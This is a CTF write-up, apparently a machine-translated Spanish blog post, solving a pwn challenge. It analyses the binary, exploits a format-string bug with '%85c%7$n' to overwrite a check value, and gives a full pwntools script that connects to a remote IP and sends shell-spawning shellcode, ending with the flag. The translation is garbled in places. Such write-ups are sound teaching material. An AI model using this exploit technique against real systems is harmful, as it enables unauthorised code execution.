cadena de pwn

La fuente del problema: el mundo del ataque y la defensa.
Después de obtener el problema, checksec
Inserte la descripción de la imagen aquí
puede ver que es de 64 bits. Arrástrelo a ida para ver.
Inserte la descripción de la imagen aquí
Hay una v3 = malloc (8uLL). El último de v3, v3 [1] es 85
v4 = v3, v4 se emite más tarde, secreto [0] es la dirección almacenada en 68 y secreto [1] es la dirección almacenada en 85.
Luego hacemos clic en la función sub_400D72
Inserte la descripción de la imagen aquí
Primero ingrese un nombre con una longitud menor a 0xC, y luego analizaremos la
Inserte la descripción de la imagen aquí
primera función de las siguientes tres funciones por turno, luego de analizar una onda, tenemos que ingresar al este para continuar, y luego mirar la segunda
Inserte la descripción de la imagen aquí
función. Hemos visto printf (& format, & format), aquí, podemos usar la vulnerabilidad de la cadena de formato. Podemos ingresar una dirección en la v2 anterior y luego cambiar el valor almacenado en esta dirección a través de la vulnerabilidad de cadena de formato. Por cierto, no olvide ingresar 1 para dejar pasar la instrucción if.
Veamos la tercera función. En
Inserte la descripción de la imagen aquí
primer lugar, ¿cuál es el parámetro de esta función, a1? Si mira al frente, encontrará que en realidad es la v4 mencionada anteriormente, es decir, la dirección donde se almacena 65. Tenga en cuenta que esta v4 es de tipo int.
En la instrucción if, puede ver que el código de shell es necesario
para la v1. Sin embargo, sea v1 La premisa de ejecución es que el contenido almacenado en a1 es igual a a1 [1], pero sabemos que * a1 = 68, a1 [1] = 85, ¿cómo igualarlos? En este momento, recordé que había una vulnerabilidad de cadena de formato al frente, podemos usar esta vulnerabilidad para igualar las dos. En este
Inserte la descripción de la imagen aquí
sentido , primero debemos conocer la posición de v2 en la pila. Como se muestra en la figura, 61616161 es el aaaa que ingresamos, 0x80 es el 128 que ingresamos, contamos, 128 es el séptimo parámetro.
A continuación se muestra el código

from pwn import *

sh=remote('111.198.29.45',39819)
#注意这里一定要有,声明是64位程序,32位和64位的shellcode不一样
context(arch='amd64')

sh.recvuntil("secret[0] is ")
#这里接收v4,即68存放的地址,16是16进制的意思
v4_addr=int(sh.recvuntil('\n'), 16)

sh.sendlineafter("What should your character's name be:","james")
sh.sendlineafter("So, where you will go?east or up?:","east")
sh.sendlineafter("go into there(1), or leave(0)?:","1")

#这里程序需要我们输入int型,而send发送的是str,所以先int再str
sh.sendlineafter("'Give me an address'",str(int(v4_addr)))
#这里"%85c7$n"实现的就是向栈内第七个参数所指向的地址写入85,即将v4处的68改为85
#这里的"%85c7$n"也可以改成'a'*85+%7$n,因为前面有85个字符,所以同样可以写入85
sh.sendlineafter("And, you wish is:","%85c%7$n")

#获取shellcode
shellcode=asm(shellcraft.sh())
sh.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode)
sh.interactive()
#把secret[0]改为secret[1],并把后面的"%85c7$n"改为"%68c7$n",同样可以成功

Inserte la descripción de la imagen aquí
flag: cyberpeace {a33f6431be80f0c7c252a96ba955ceee}
ctf is cute, si hay una comprensión inadecuada o una expresión incorrecta, corrígeme

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/104817142
Recomendado
Clasificación